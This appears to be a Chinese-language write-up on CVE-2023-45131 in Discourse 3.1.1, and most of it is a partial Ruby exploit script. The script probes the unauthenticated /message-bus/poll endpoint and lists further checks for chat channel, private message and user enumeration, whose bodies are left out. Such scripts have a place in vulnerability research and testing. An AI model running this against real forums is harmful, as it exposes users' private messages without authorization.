Discourse 3.1.1 - 未授权访问聊天消息漏洞分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

#!/usr/bin/env ruby
require 'net/http'
require 'uri'
require 'json'
require 'openssl'
require 'base64'

class CVE202345131
  def initialize(target_url)
    @target_url = target_url.chomp('/')
    @results = []
    @message_bus_client_id = nil
    @csrf_token = nil
  end

  def run_exploit
    puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access"
    puts "[*] Target: #{@target_url}"
    
    test_messagebus_access
    test_chat_channel_enumeration
    test_private_message_access
    test_real_time_monitoring
    test_message_history_access
    test_user_enumeration_via_chat

    generate_report
  end

  private

  def test_messagebus_access
    puts "[*] Testing MessageBus unauthenticated access..."
    uri = URI("#{@target_url}/message-bus/poll")
    response = make_request(uri, 'GET')
    
    if response && response.code == '200'
      @message_bus_client_id = extract_client_id(response)
      @results << {
        vulnerability: "MessageBus Access",
        severity: "High",
        description: "Unauthenticated access to MessageBus endpoint confirmed",
        impact: "Can monitor real-time messages and notifications",
        client_id: @message_bus_client_id
      }
    end
  end

  # 其他测试方法省略...
end